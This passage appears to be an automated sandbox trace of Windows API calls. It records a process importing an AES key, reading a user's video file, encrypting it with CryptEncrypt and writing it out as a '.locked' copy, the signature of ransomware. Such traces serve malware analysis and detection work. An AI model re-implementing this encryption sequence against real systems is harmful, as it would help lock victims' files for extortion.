(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.712] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.712] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.712] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.712] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.712] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.712] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.712] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.712] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.712] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.712] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.712] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.712] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.713] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.713] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.713] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.713] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.713] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.713] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.713] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.713] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.713] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.713] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.713] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.713] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.713] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.713] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.713] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.714] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.714] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.714] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.714] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.714] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.714] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.714] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.714] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.714] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.715] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.715] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.715] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0137.716] CryptImportKey (in: hProv=0x43964e8, pbData=0x6ae9d6c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84f78) returned 1 [0137.716] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.716] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.716] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.717] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi")) returned 0x20 [0137.717] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi")) returned 0x20 [0137.717] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.717] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.718] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.718] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.718] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.718] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.718] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.718] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0137.720] GetFileType (hFile=0x764) returned 0x1 [0137.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.720] GetFileType (hFile=0x764) returned 0x1 [0137.720] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0137.720] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.720] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked", lpFilePart=0x0) returned 0x71 [0137.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.720] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0137.768] GetFileType (hFile=0x778) returned 0x1 [0137.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.768] GetFileType (hFile=0x778) returned 0x1 [0137.769] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6b092ec | out: pbBuffer=0x6b092ec) returned 1 [0137.769] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.769] CryptDuplicateKey (in: hKey=0x8e84f78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84b38) returned 1 [0137.769] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.769] CryptSetKeyParam (hKey=0x8e84b38, dwParam=0x4, pbData=0x6b0a5a8*=0x1, dwFlags=0x0) returned 1 [0137.769] CryptSetKeyParam (hKey=0x8e84b38, dwParam=0x1, pbData=0x6b0a574, dwFlags=0x0) returned 1 [0137.769] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xfc10\x437\x24a") returned 0x0 [0137.769] ReadFile (in: hFile=0x764, lpBuffer=0x6b0db04, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b0db04*, lpNumberOfBytesRead=0x99ae7a8*=0x13826, lpOverlapped=0x0) returned 1 [0137.770] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b21b10*, pdwDataLen=0x99ae79c*=0x13820, dwBufLen=0x13820 | out: pbData=0x6b21b10*, pdwDataLen=0x99ae79c*=0x13820) returned 1 [0137.770] WriteFile (in: hFile=0x778, lpBuffer=0x6b093ac*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b093ac*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0137.771] WriteFile (in: hFile=0x778, lpBuffer=0x6b22afc*, nNumberOfBytesToWrite=0x12834, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b22afc*, lpNumberOfBytesWritten=0x99ae780*=0x12834, lpOverlapped=0x0) returned 1 [0137.771] ReadFile (in: hFile=0x764, lpBuffer=0x6b0db04, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b0db04*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0137.772] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b35354*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b35354*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0137.772] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b35388*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b35388*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0137.772] WriteFile (in: hFile=0x778, lpBuffer=0x6b093ac*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6b093ac*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0137.772] CloseHandle (hObject=0x778) returned 1 [0137.877] CloseHandle (hObject=0x764) returned 1 [0137.877] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.877] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.878] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.878] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.878] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.879] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi")) returned 0x20 [0137.879] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.879] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.880] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.880] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.880] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.880] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.880] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.880] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.880] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.880] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.880] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.880] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.880] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.880] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0137.880] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0137.881] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0137.881] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0137.881] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0137.881] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0137.881] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0137.881] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0137.881] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0137.881] GetFileAttributesW 